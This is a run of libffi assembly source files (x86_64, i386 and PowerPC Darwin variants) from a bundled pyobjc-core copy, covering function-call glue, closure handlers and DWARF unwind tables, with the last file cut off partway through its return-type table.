.byte 0x1 /* uleb128 0x1; Augmentation size */
.byte 0x10 /* FDE Encoding (pcrel sdata4) */
.byte 0xc /* DW_CFA_def_cfa, %rsp offset 8 */
.byte 0x7 /* uleb128 0x7 */
.byte 0x8 /* uleb128 0x8 */
.byte 0x90 /* DW_CFA_offset, column 0x10 */
.byte 0x1
.align 3
LECIE1:
.globl _ffi_call_unix64.eh
_ffi_call_unix64.eh:
LSFDE1:
.set L$set$1,LEFDE1-LASFDE1 /* FDE Length */
.long L$set$1
LASFDE1:
.long LASFDE1-EH_frame1 /* FDE CIE offset */
.quad LUW0-. /* FDE initial location */
.set L$set$2,LUW4-LUW0 /* FDE address range */
.quad L$set$2
.byte 0x0 /* Augmentation size */
.byte 0x4 /* DW_CFA_advance_loc4 */
.set L$set$3,LUW1-LUW0
.long L$set$3
/* New stack frame based off rbp. This is a itty bit of unwind
trickery in that the CFA *has* changed. There is no easy way
to describe it correctly on entry to the function. Fortunately,
it doesn't matter too much since at all points we can correctly
unwind back to ffi_call. Note that the location to which we
moved the return address is (the new) CFA-8, so from the
perspective of the unwind info, it hasn't moved. */
.byte 0xc /* DW_CFA_def_cfa, %rbp offset 32 */
.byte 0x6
.byte 0x20
.byte 0x80+6 /* DW_CFA_offset, %rbp offset 2*-8 */
.byte 0x2
.byte 0xa /* DW_CFA_remember_state */
.byte 0x4 /* DW_CFA_advance_loc4 */
.set L$set$4,LUW2-LUW1
.long L$set$4
.byte 0xc /* DW_CFA_def_cfa, %rsp offset 8 */
.byte 0x7
.byte 0x8
.byte 0xc0+6 /* DW_CFA_restore, %rbp */
.byte 0x4 /* DW_CFA_advance_loc4 */
.set L$set$5,LUW3-LUW2
.long L$set$5
.byte 0xb /* DW_CFA_restore_state */
.align 3
LEFDE1:
.globl _ffi_closure_unix64.eh
_ffi_closure_unix64.eh:
LSFDE3:
.set L$set$6,LEFDE3-LASFDE3 /* FDE Length */
.long L$set$6
LASFDE3:
.long LASFDE3-EH_frame1 /* FDE CIE offset */
.quad LUW5-. /* FDE initial location */
.set L$set$7,LUW9-LUW5 /* FDE address range */
.quad L$set$7
.byte 0x0 /* Augmentation size */
.byte 0x4 /* DW_CFA_advance_loc4 */
.set L$set$8,LUW6-LUW5
.long L$set$8
.byte 0xe /* DW_CFA_def_cfa_offset */
.byte 208,1 /* uleb128 208 */
.byte 0xa /* DW_CFA_remember_state */
.byte 0x4 /* DW_CFA_advance_loc4 */
.set L$set$9,LUW7-LUW6
.long L$set$9
.byte 0xe /* DW_CFA_def_cfa_offset */
.byte 0x8
.byte 0x4 /* DW_CFA_advance_loc4 */
.set L$set$10,LUW8-LUW7
.long L$set$10
.byte 0xb /* DW_CFA_restore_state */
.align 3
LEFDE3:
.subsections_via_symbols
#endif /* __x86_64__ */
|
albertz/music-player | 8,955 | mac/pyobjc-core/libffi-src/x86/x86-darwin.S | #ifdef __i386__
/* -----------------------------------------------------------------------
darwin.S - Copyright (c) 1996, 1998, 2001, 2002, 2003 Red Hat, Inc.
X86 Foreign Function Interface
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
``Software''), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL CYGNUS SOLUTIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
----------------------------------------------------------------------- */
/*
* This file is based on sysv.S and then hacked up by Ronald who hasn't done
* assembly programming in 8 years.
*/
#ifndef __x86_64__
#define LIBFFI_ASM
#include <fficonfig.h>
#include <ffi.h>
#ifdef PyObjC_STRICT_DEBUGGING
/* XXX: Debugging of stack alignment, to be removed */
#define ASSERT_STACK_ALIGNED movdqa -16(%esp), %xmm0
#else
#define ASSERT_STACK_ALIGNED
#endif
.text
.globl _ffi_prep_args
.align 4
.globl _ffi_call_SYSV
_ffi_call_SYSV:
LFB1:
pushl %ebp
LCFI0:
movl %esp,%ebp
LCFI1:
subl $8,%esp
/* Make room for all of the new args. */
movl 16(%ebp),%ecx
subl %ecx,%esp
movl %esp,%eax
/* Place all of the ffi_prep_args in position */
subl $8,%esp
pushl 12(%ebp)
pushl %eax
call *8(%ebp)
/* Return stack to previous state and call the function */
addl $16,%esp
call *28(%ebp)
/* Remove the space we pushed for the args */
movl 16(%ebp),%ecx
addl %ecx,%esp
/* Load %ecx with the return type code */
movl 20(%ebp),%ecx
/* If the return value pointer is NULL, assume no return value. */
cmpl $0,24(%ebp)
jne Lretint
/* Even if there is no space for the return value, we are
obliged to handle floating-point values. */
cmpl $FFI_TYPE_FLOAT,%ecx
jne Lnoretval
fstp %st(0)
jmp Lepilogue
Lretint:
cmpl $FFI_TYPE_INT,%ecx
jne Lretfloat
/* Load %ecx with the pointer to storage for the return value */
movl 24(%ebp),%ecx
movl %eax,0(%ecx)
jmp Lepilogue
Lretfloat:
cmpl $FFI_TYPE_FLOAT,%ecx
jne Lretdouble
/* Load %ecx with the pointer to storage for the return value */
movl 24(%ebp),%ecx
fstps (%ecx)
jmp Lepilogue
Lretdouble:
cmpl $FFI_TYPE_DOUBLE,%ecx
jne Lretlongdouble
/* Load %ecx with the pointer to storage for the return value */
movl 24(%ebp),%ecx
fstpl (%ecx)
jmp Lepilogue
Lretlongdouble:
cmpl $FFI_TYPE_LONGDOUBLE,%ecx
jne Lretint64
/* Load %ecx with the pointer to storage for the return value */
movl 24(%ebp),%ecx
fstpt (%ecx)
jmp Lepilogue
Lretint64:
cmpl $FFI_TYPE_SINT64,%ecx
jne Lretstruct1b
/* Load %ecx with the pointer to storage for the return value */
movl 24(%ebp),%ecx
movl %eax,0(%ecx)
movl %edx,4(%ecx)
jmp Lepilogue
Lretstruct1b:
cmpl $FFI_TYPE_SINT8,%ecx
jne Lretstruct2b
/* Load %ecx with the pointer to storage for the return value */
movl 24(%ebp),%ecx
movb %al,0(%ecx)
jmp Lepilogue
Lretstruct2b:
cmpl $FFI_TYPE_SINT16,%ecx
jne Lretstruct
/* Load %ecx with the pointer to storage for the return value */
movl 24(%ebp),%ecx
movw %ax,0(%ecx)
jmp Lepilogue
Lretstruct:
cmpl $FFI_TYPE_STRUCT,%ecx
jne Lnoretval
/* Nothing to do! */
addl $4,%esp
popl %ebp
ret
Lnoretval:
Lepilogue:
addl $8,%esp
movl %ebp,%esp
popl %ebp
ret
LFE1:
.ffi_call_SYSV_end:
.align 4
FFI_HIDDEN (ffi_closure_SYSV)
.globl _ffi_closure_SYSV
_ffi_closure_SYSV:
LFB2:
pushl %ebp
LCFI2:
movl %esp, %ebp
LCFI3:
subl $56, %esp
leal -40(%ebp), %edx
movl %edx, -12(%ebp) /* resp */
leal 8(%ebp), %edx
movl %edx, 4(%esp) /* args = __builtin_dwarf_cfa () */
leal -12(%ebp), %edx
movl %edx, (%esp) /* &resp */
movl %ebx, 8(%esp)
LCFI7:
call L_ffi_closure_SYSV_inner$stub
movl 8(%esp), %ebx
movl -12(%ebp), %ecx
cmpl $FFI_TYPE_INT, %eax
je Lcls_retint
cmpl $FFI_TYPE_FLOAT, %eax
je Lcls_retfloat
cmpl $FFI_TYPE_DOUBLE, %eax
je Lcls_retdouble
cmpl $FFI_TYPE_LONGDOUBLE, %eax
je Lcls_retldouble
cmpl $FFI_TYPE_SINT64, %eax
je Lcls_retllong
cmpl $FFI_TYPE_UINT8, %eax
je Lcls_retstruct1
cmpl $FFI_TYPE_SINT8, %eax
je Lcls_retstruct1
cmpl $FFI_TYPE_UINT16, %eax
je Lcls_retstruct2
cmpl $FFI_TYPE_SINT16, %eax
je Lcls_retstruct2
cmpl $FFI_TYPE_STRUCT, %eax
je Lcls_retstruct
Lcls_epilogue:
movl %ebp, %esp
popl %ebp
ret
Lcls_retint:
movl (%ecx), %eax
jmp Lcls_epilogue
Lcls_retfloat:
flds (%ecx)
jmp Lcls_epilogue
Lcls_retdouble:
fldl (%ecx)
jmp Lcls_epilogue
Lcls_retldouble:
fldt (%ecx)
jmp Lcls_epilogue
Lcls_retllong:
movl (%ecx), %eax
movl 4(%ecx), %edx
jmp Lcls_epilogue
Lcls_retstruct1:
movsbl (%ecx), %eax
jmp Lcls_epilogue
Lcls_retstruct2:
movswl (%ecx), %eax
jmp Lcls_epilogue
Lcls_retstruct:
lea -8(%ebp),%esp
movl %ebp, %esp
popl %ebp
ret $4
LFE2:
#if !FFI_NO_RAW_API
#define RAW_CLOSURE_CIF_OFFSET ((FFI_TRAMPOLINE_SIZE + 3) & ~3)
#define RAW_CLOSURE_FUN_OFFSET (RAW_CLOSURE_CIF_OFFSET + 4)
#define RAW_CLOSURE_USER_DATA_OFFSET (RAW_CLOSURE_FUN_OFFSET + 4)
#define CIF_FLAGS_OFFSET 20
.align 4
FFI_HIDDEN (ffi_closure_raw_SYSV)
.globl _ffi_closure_raw_SYSV
_ffi_closure_raw_SYSV:
LFB3:
pushl %ebp
LCFI4:
movl %esp, %ebp
LCFI5:
pushl %esi
LCFI6:
subl $36, %esp
movl RAW_CLOSURE_CIF_OFFSET(%eax), %esi /* closure->cif */
movl RAW_CLOSURE_USER_DATA_OFFSET(%eax), %edx /* closure->user_data */
movl %edx, 12(%esp) /* user_data */
leal 8(%ebp), %edx /* __builtin_dwarf_cfa () */
movl %edx, 8(%esp) /* raw_args */
leal -24(%ebp), %edx
movl %edx, 4(%esp) /* &res */
movl %esi, (%esp) /* cif */
call *RAW_CLOSURE_FUN_OFFSET(%eax) /* closure->fun */
movl CIF_FLAGS_OFFSET(%esi), %eax /* rtype */
cmpl $FFI_TYPE_INT, %eax
je Lrcls_retint
cmpl $FFI_TYPE_FLOAT, %eax
je Lrcls_retfloat
cmpl $FFI_TYPE_DOUBLE, %eax
je Lrcls_retdouble
cmpl $FFI_TYPE_LONGDOUBLE, %eax
je Lrcls_retldouble
cmpl $FFI_TYPE_SINT64, %eax
je Lrcls_retllong
Lrcls_epilogue:
addl $36, %esp
popl %esi
popl %ebp
ret
Lrcls_retint:
movl -24(%ebp), %eax
jmp Lrcls_epilogue
Lrcls_retfloat:
flds -24(%ebp)
jmp Lrcls_epilogue
Lrcls_retdouble:
fldl -24(%ebp)
jmp Lrcls_epilogue
Lrcls_retldouble:
fldt -24(%ebp)
jmp Lrcls_epilogue
Lrcls_retllong:
movl -24(%ebp), %eax
movl -20(%ebp), %edx
jmp Lrcls_epilogue
LFE3:
#endif
.section __IMPORT,__jump_table,symbol_stubs,self_modifying_code+pure_instructions,5
L_ffi_closure_SYSV_inner$stub:
.indirect_symbol _ffi_closure_SYSV_inner
hlt ; hlt ; hlt ; hlt ; hlt
.section __TEXT,__eh_frame,coalesced,no_toc+strip_static_syms+live_support
EH_frame1:
.set L$set$0,LECIE1-LSCIE1
.long L$set$0
LSCIE1:
.long 0x0
.byte 0x1
.ascii "zR\0"
.byte 0x1
.byte 0x7c
.byte 0x8
.byte 0x1
.byte 0x10
.byte 0xc
.byte 0x5
.byte 0x4
.byte 0x88
.byte 0x1
.align 2
LECIE1:
.globl _ffi_call_SYSV.eh
_ffi_call_SYSV.eh:
LSFDE1:
.set L$set$1,LEFDE1-LASFDE1
.long L$set$1
LASFDE1:
.long LASFDE1-EH_frame1
.long LFB1-.
.set L$set$2,LFE1-LFB1
.long L$set$2
.byte 0x0
.byte 0x4
.set L$set$3,LCFI0-LFB1
.long L$set$3
.byte 0xe
.byte 0x8
.byte 0x84
.byte 0x2
.byte 0x4
.set L$set$4,LCFI1-LCFI0
.long L$set$4
.byte 0xd
.byte 0x4
.align 2
LEFDE1:
.globl _ffi_closure_SYSV.eh
_ffi_closure_SYSV.eh:
LSFDE2:
.set L$set$5,LEFDE2-LASFDE2
.long L$set$5
LASFDE2:
.long LASFDE2-EH_frame1
.long LFB2-.
.set L$set$6,LFE2-LFB2
.long L$set$6
.byte 0x0
.byte 0x4
.set L$set$7,LCFI2-LFB2
.long L$set$7
.byte 0xe
.byte 0x8
.byte 0x84
.byte 0x2
.byte 0x4
.set L$set$8,LCFI3-LCFI2
.long L$set$8
.byte 0xd
.byte 0x4
.align 2
LEFDE2:
#if !FFI_NO_RAW_API
.globl _ffi_closure_raw_SYSV.eh
_ffi_closure_raw_SYSV.eh:
LSFDE3:
.set L$set$10,LEFDE3-LASFDE3
.long L$set$10
LASFDE3:
.long LASFDE3-EH_frame1
.long LFB3-.
.set L$set$11,LFE3-LFB3
.long L$set$11
.byte 0x0
.byte 0x4
.set L$set$12,LCFI4-LFB3
.long L$set$12
.byte 0xe
.byte 0x8
.byte 0x84
.byte 0x2
.byte 0x4
.set L$set$13,LCFI5-LCFI4
.long L$set$13
.byte 0xd
.byte 0x4
.byte 0x4
.set L$set$14,LCFI6-LCFI5
.long L$set$14
.byte 0x85
.byte 0x3
.align 2
LEFDE3:
#endif
#endif /* ifndef __x86_64__ */
#endif /* defined __i386__ */
|
albertz/music-player | 9,719 | mac/pyobjc-core/libffi-src/powerpc/ppc-darwin.S | #if defined(__ppc__) || defined(__ppc64__)
/* -----------------------------------------------------------------------
ppc-darwin.S - Copyright (c) 2000 John Hornkvist
Copyright (c) 2004 Free Software Foundation, Inc.
PowerPC Assembly glue.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
``Software''), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
----------------------------------------------------------------------- */
#define LIBFFI_ASM
#include <fficonfig.h>
#include <ffi.h>
#include <ppc-darwin.h>
#include <architecture/ppc/mode_independent_asm.h>
.text
.align 2
.globl _ffi_prep_args
.text
.align 2
.globl _ffi_call_DARWIN
.text
.align 2
_ffi_call_DARWIN:
LFB0:
mr r12,r8 /* We only need r12 until the call,
so it doesn't have to be saved. */
LFB1:
/* Save the old stack pointer as AP. */
mr r8,r1
LCFI0:
#if defined(__ppc64__)
/* Allocate the stack space we need.
r4 (size of input data)
48 bytes (linkage area)
40 bytes (saved registers)
8 bytes (extra FPR)
r4 + 96 bytes total
*/
addi r4,r4,-96 // Add our overhead.
li r0,-32 // Align to 32 bytes.
and r4,r4,r0
#endif
stgux r1,r1,r4 // Grow the stack.
mflr r9
/* Save registers we use. */
#if defined(__ppc64__)
std r27,-40(r8)
#endif
stg r28,MODE_CHOICE(-16,-32)(r8)
stg r29,MODE_CHOICE(-12,-24)(r8)
stg r30,MODE_CHOICE(-8,-16)(r8)
stg r31,MODE_CHOICE(-4,-8)(r8)
stg r9,SF_RETURN(r8) /* return address */
#if !defined(POWERPC_DARWIN) /* TOC unused in OS X */
stg r2,MODE_CHOICE(20,40)(r1)
#endif
LCFI1:
#if defined(__ppc64__)
mr r27,r3 // our extended_cif
#endif
/* Save arguments over call. */
mr r31,r5 /* flags, */
mr r30,r6 /* rvalue, */
mr r29,r7 /* function address, */
mr r28,r8 /* our AP. */
LCFI2:
/* Call ffi_prep_args. */
mr r4,r1
li r9,0
mtctr r12 /* r12 holds address of _ffi_prep_args. */
bctrl
#if !defined(POWERPC_DARWIN) /* TOC unused in OS X */
lg r2,MODE_CHOICE(20,40)(r1)
#endif
/* Now do the call.
Set up cr1 with bits 4-7 of the flags. */
mtcrf 0x40,r31
/* Load all those argument registers.
We have set up a nice stack frame, just load it into registers. */
lg r3,SF_ARG1(r1)
lg r4,SF_ARG2(r1)
lg r5,SF_ARG3(r1)
lg r6,SF_ARG4(r1)
nop
lg r7,SF_ARG5(r1)
lg r8,SF_ARG6(r1)
lg r9,SF_ARG7(r1)
lg r10,SF_ARG8(r1)
/* Load all the FP registers. */
bf 6,L2 /* No floats to load. */
#if defined(__ppc64__)
lfd f1,MODE_CHOICE(-16,-40)-(14*8)(r28)
lfd f2,MODE_CHOICE(-16,-40)-(13*8)(r28)
lfd f3,MODE_CHOICE(-16,-40)-(12*8)(r28)
lfd f4,MODE_CHOICE(-16,-40)-(11*8)(r28)
nop
lfd f5,MODE_CHOICE(-16,-40)-(10*8)(r28)
lfd f6,MODE_CHOICE(-16,-40)-(9*8)(r28)
lfd f7,MODE_CHOICE(-16,-40)-(8*8)(r28)
lfd f8,MODE_CHOICE(-16,-40)-(7*8)(r28)
nop
lfd f9,MODE_CHOICE(-16,-40)-(6*8)(r28)
lfd f10,MODE_CHOICE(-16,-40)-(5*8)(r28)
lfd f11,MODE_CHOICE(-16,-40)-(4*8)(r28)
lfd f12,MODE_CHOICE(-16,-40)-(3*8)(r28)
nop
lfd f13,MODE_CHOICE(-16,-40)-(2*8)(r28)
lfd f14,MODE_CHOICE(-16,-40)-(1*8)(r28)
#elif defined(__ppc__)
lfd f1,MODE_CHOICE(-16,-40)-(13*8)(r28)
lfd f2,MODE_CHOICE(-16,-40)-(12*8)(r28)
lfd f3,MODE_CHOICE(-16,-40)-(11*8)(r28)
lfd f4,MODE_CHOICE(-16,-40)-(10*8)(r28)
nop
lfd f5,MODE_CHOICE(-16,-40)-(9*8)(r28)
lfd f6,MODE_CHOICE(-16,-40)-(8*8)(r28)
lfd f7,MODE_CHOICE(-16,-40)-(7*8)(r28)
lfd f8,MODE_CHOICE(-16,-40)-(6*8)(r28)
nop
lfd f9,MODE_CHOICE(-16,-40)-(5*8)(r28)
lfd f10,MODE_CHOICE(-16,-40)-(4*8)(r28)
lfd f11,MODE_CHOICE(-16,-40)-(3*8)(r28)
lfd f12,MODE_CHOICE(-16,-40)-(2*8)(r28)
nop
lfd f13,MODE_CHOICE(-16,-40)-(1*8)(r28)
#else
#error undefined architecture
#endif
L2:
mr r12,r29 // Put the target address in r12 as specified.
mtctr r12 // Get the address to call into CTR.
nop
nop
bctrl // Make the call.
// Deal with the return value.
#if defined(__ppc64__)
mtcrf 0x3,r31 // flags in cr6 and cr7
bt 27,L(st_return_value)
#elif defined(__ppc__)
mtcrf 0x1,r31 // flags in cr7
#else
#error undefined architecture
#endif
bt 30,L(done_return_value)
bt 29,L(fp_return_value)
stg r3,0(r30)
#if defined(__ppc__)
bf 28,L(done_return_value) // Store the second long if necessary.
stg r4,4(r30)
#endif
// Fall through
L(done_return_value):
lg r1,0(r1) // Restore stack pointer.
// Restore the registers we used.
lg r9,SF_RETURN(r1) // return address
lg r31,MODE_CHOICE(-4,-8)(r1)
mtlr r9
lg r30,MODE_CHOICE(-8,-16)(r1)
lg r29,MODE_CHOICE(-12,-24)(r1)
lg r28,MODE_CHOICE(-16,-32)(r1)
#if defined(__ppc64__)
ld r27,-40(r1)
#endif
blr
#if defined(__ppc64__)
L(st_return_value):
// Grow the stack enough to fit the registers. Leave room for 8 args
// to trample the 1st 8 slots in param area.
stgu r1,-SF_ROUND(280)(r1) // 64 + 104 + 48 + 64
// Store GPRs
std r3,SF_ARG9(r1)
std r4,SF_ARG10(r1)
std r5,SF_ARG11(r1)
std r6,SF_ARG12(r1)
nop
std r7,SF_ARG13(r1)
std r8,SF_ARG14(r1)
std r9,SF_ARG15(r1)
std r10,SF_ARG16(r1)
// Store FPRs
nop
bf 26,L(call_struct_to_ram_form)
stfd f1,SF_ARG17(r1)
stfd f2,SF_ARG18(r1)
stfd f3,SF_ARG19(r1)
stfd f4,SF_ARG20(r1)
nop
stfd f5,SF_ARG21(r1)
stfd f6,SF_ARG22(r1)
stfd f7,SF_ARG23(r1)
stfd f8,SF_ARG24(r1)
nop
stfd f9,SF_ARG25(r1)
stfd f10,SF_ARG26(r1)
stfd f11,SF_ARG27(r1)
stfd f12,SF_ARG28(r1)
nop
stfd f13,SF_ARG29(r1)
L(call_struct_to_ram_form):
ld r3,0(r27) // extended_cif->cif*
ld r3,16(r3) // ffi_cif->rtype*
addi r4,r1,SF_ARG9 // stored GPRs
addi r6,r1,SF_ARG17 // stored FPRs
li r5,0 // GPR size ptr (NULL)
li r7,0 // FPR size ptr (NULL)
li r8,0 // FPR count ptr (NULL)
li r10,0 // struct offset (NULL)
mr r9,r30 // return area
bl Lffi64_struct_to_ram_form$stub
lg r1,0(r1) // Restore stack pointer.
b L(done_return_value)
#endif
L(fp_return_value):
/* Do we have long double to store? */
bf 31,L(fd_return_value)
stfd f1,0(r30)
stfd f2,8(r30)
b L(done_return_value)
L(fd_return_value):
/* Do we have double to store? */
bf 28,L(float_return_value)
stfd f1,0(r30)
b L(done_return_value)
L(float_return_value):
/* We only have a float to store. */
stfs f1,0(r30)
b L(done_return_value)
LFE1:
/* END(_ffi_call_DARWIN) */
/* Provide a null definition of _ffi_call_AIX. */
.text
.align 2
.globl _ffi_call_AIX
.text
.align 2
_ffi_call_AIX:
blr
/* END(_ffi_call_AIX) */
.section __TEXT,__eh_frame,coalesced,no_toc+strip_static_syms
EH_frame1:
.set L$set$0,LECIE1-LSCIE1
.long L$set$0 ; Length of Common Information Entry
LSCIE1:
.long 0x0 ; CIE Identifier Tag
.byte 0x1 ; CIE Version
.ascii "zR\0" ; CIE Augmentation
.byte 0x1 ; uleb128 0x1; CIE Code Alignment Factor
.byte 0x7c ; sleb128 -4; CIE Data Alignment Factor
.byte 0x41 ; CIE RA Column
.byte 0x1 ; uleb128 0x1; Augmentation size
.byte 0x10 ; FDE Encoding (pcrel)
.byte 0xc ; DW_CFA_def_cfa
.byte 0x1 ; uleb128 0x1
.byte 0x0 ; uleb128 0x0
.align LOG2_GPR_BYTES
LECIE1:
.globl _ffi_call_DARWIN.eh
_ffi_call_DARWIN.eh:
LSFDE1:
.set L$set$1,LEFDE1-LASFDE1
.long L$set$1 ; FDE Length
LASFDE1:
.long LASFDE1-EH_frame1 ; FDE CIE offset
.g_long LFB0-. ; FDE initial location
.set L$set$3,LFE1-LFB0
.g_long L$set$3 ; FDE address range
.byte 0x0 ; uleb128 0x0; Augmentation size
.byte 0x4 ; DW_CFA_advance_loc4
.set L$set$4,LCFI0-LFB1
.long L$set$4
.byte 0xd ; DW_CFA_def_cfa_register
.byte 0x08 ; uleb128 0x08
.byte 0x4 ; DW_CFA_advance_loc4
.set L$set$5,LCFI1-LCFI0
.long L$set$5
.byte 0x11 ; DW_CFA_offset_extended_sf
.byte 0x41 ; uleb128 0x41
.byte 0x7e ; sleb128 -2
.byte 0x9f ; DW_CFA_offset, column 0x1f
.byte 0x1 ; uleb128 0x1
.byte 0x9e ; DW_CFA_offset, column 0x1e
.byte 0x2 ; uleb128 0x2
.byte 0x9d ; DW_CFA_offset, column 0x1d
.byte 0x3 ; uleb128 0x3
.byte 0x9c ; DW_CFA_offset, column 0x1c
.byte 0x4 ; uleb128 0x4
.byte 0x4 ; DW_CFA_advance_loc4
.set L$set$6,LCFI2-LCFI1
.long L$set$6
.byte 0xd ; DW_CFA_def_cfa_register
.byte 0x1c ; uleb128 0x1c
.align LOG2_GPR_BYTES
LEFDE1:
#if defined(__ppc64__)
.section __TEXT,__picsymbolstub1,symbol_stubs,pure_instructions,32
.align LOG2_GPR_BYTES
Lffi64_struct_to_ram_form$stub:
.indirect_symbol _ffi64_struct_to_ram_form
mflr r0
bcl 20,31,LO$ffi64_struct_to_ram_form
LO$ffi64_struct_to_ram_form:
mflr r11
addis r11,r11,ha16(L_ffi64_struct_to_ram_form$lazy_ptr - LO$ffi64_struct_to_ram_form)
mtlr r0
lgu r12,lo16(L_ffi64_struct_to_ram_form$lazy_ptr - LO$ffi64_struct_to_ram_form)(r11)
mtctr r12
bctr
.lazy_symbol_pointer
L_ffi64_struct_to_ram_form$lazy_ptr:
.indirect_symbol _ffi64_struct_to_ram_form
.g_long dyld_stub_binding_helper
#endif // __ppc64__
#endif // __ppc__ || __ppc64__
|
albertz/music-player | 9,914 | mac/pyobjc-core/libffi-src/powerpc/ppc64-darwin_closure.S | #if defined(__ppc64__)
/* -----------------------------------------------------------------------
ppc64-darwin_closure.S - Copyright (c) 2002, 2003, 2004, Free Software Foundation,
Inc. based on ppc_closure.S
PowerPC Assembly glue.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
``Software''), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
----------------------------------------------------------------------- */
#define LIBFFI_ASM
#include <ffi.h>
#include <ppc-ffitarget.h> // for FFI_TRAMPOLINE_SIZE
#include <ppc-darwin.h>
#include <architecture/ppc/mode_independent_asm.h>
.file "ppc64-darwin_closure.S"
.text
.align LOG2_GPR_BYTES
.globl _ffi_closure_ASM
.text
.align LOG2_GPR_BYTES
_ffi_closure_ASM:
LFB1:
mflr r0
stg r0,SF_RETURN(r1) // save return address
// Save GPRs 3 - 10 (aligned to 8) in the parents outgoing area.
stg r3,SF_ARG1(r1)
stg r4,SF_ARG2(r1)
stg r5,SF_ARG3(r1)
stg r6,SF_ARG4(r1)
stg r7,SF_ARG5(r1)
stg r8,SF_ARG6(r1)
stg r9,SF_ARG7(r1)
stg r10,SF_ARG8(r1)
LCFI0:
/* 48 bytes (Linkage Area)
64 bytes (outgoing parameter area, always reserved)
112 bytes (14*8 for incoming FPR)
? bytes (result)
112 bytes (14*8 for outgoing FPR)
16 bytes (2 saved registers)
352 + ? total bytes
*/
std r31,-8(r1) // Save registers we use.
std r30,-16(r1)
mr r30,r1 // Save the old SP.
mr r31,r11 // Save the ffi_closure around ffi64_data_size.
// Calculate the space we need.
stdu r1,-SF_MINSIZE(r1)
ld r3,FFI_TRAMPOLINE_SIZE(r31) // ffi_closure->cif*
ld r3,16(r3) // ffi_cif->rtype*
bl Lffi64_data_size$stub
ld r1,0(r1)
addi r3,r3,352 // Add our overhead.
neg r3,r3
li r0,-32 // Align to 32 bytes.
and r3,r3,r0
stdux r1,r1,r3 // Grow the stack.
mr r11,r31 // Copy the ffi_closure back.
LCFI1:
// We want to build up an area for the parameters passed
// in registers. (both floating point and integer)
/* 320 bytes (callee stack frame aligned to 32)
48 bytes (caller linkage area)
368 (start of caller parameter area aligned to 8)
*/
// Save FPRs 1 - 14. (aligned to 8)
stfd f1,112(r1)
stfd f2,120(r1)
stfd f3,128(r1)
stfd f4,136(r1)
stfd f5,144(r1)
stfd f6,152(r1)
stfd f7,160(r1)
stfd f8,168(r1)
stfd f9,176(r1)
stfd f10,184(r1)
stfd f11,192(r1)
stfd f12,200(r1)
stfd f13,208(r1)
stfd f14,216(r1)
// Set up registers for the routine that actually does the work.
mr r3,r11 // context pointer from the trampoline
addi r4,r1,224 // result storage
addi r5,r30,SF_ARG1 // saved GPRs
addi r6,r1,112 // saved FPRs
bl Lffi_closure_helper_DARWIN$stub
// Look the proper starting point in table
// by using return type as an offset.
addi r5,r1,224 // Get pointer to results area.
bl Lget_ret_type0_addr // Get pointer to Lret_type0 into LR.
mflr r4 // Move to r4.
slwi r3,r3,4 // Now multiply return type by 16.
add r3,r3,r4 // Add contents of table to table address.
mtctr r3
bctr
LFE1:
// Each of the ret_typeX code fragments has to be exactly 16 bytes long
// (4 instructions). For cache effectiveness we align to a 16 byte
// boundary first.
.align 4
nop
nop
nop
Lget_ret_type0_addr:
blrl
// case FFI_TYPE_VOID
Lret_type0:
b Lfinish
nop
nop
nop
// case FFI_TYPE_INT
Lret_type1:
lwz r3,4(r5)
b Lfinish
nop
nop
// case FFI_TYPE_FLOAT
Lret_type2:
lfs f1,0(r5)
b Lfinish
nop
nop
// case FFI_TYPE_DOUBLE
Lret_type3:
lfd f1,0(r5)
b Lfinish
nop
nop
// case FFI_TYPE_LONGDOUBLE
Lret_type4:
lfd f1,0(r5)
lfd f2,8(r5)
b Lfinish
nop
// case FFI_TYPE_UINT8
Lret_type5:
lbz r3,7(r5)
b Lfinish
nop
nop
// case FFI_TYPE_SINT8
Lret_type6:
lbz r3,7(r5)
extsb r3,r3
b Lfinish
nop
// case FFI_TYPE_UINT16
Lret_type7:
lhz r3,6(r5)
b Lfinish
nop
nop
// case FFI_TYPE_SINT16
Lret_type8:
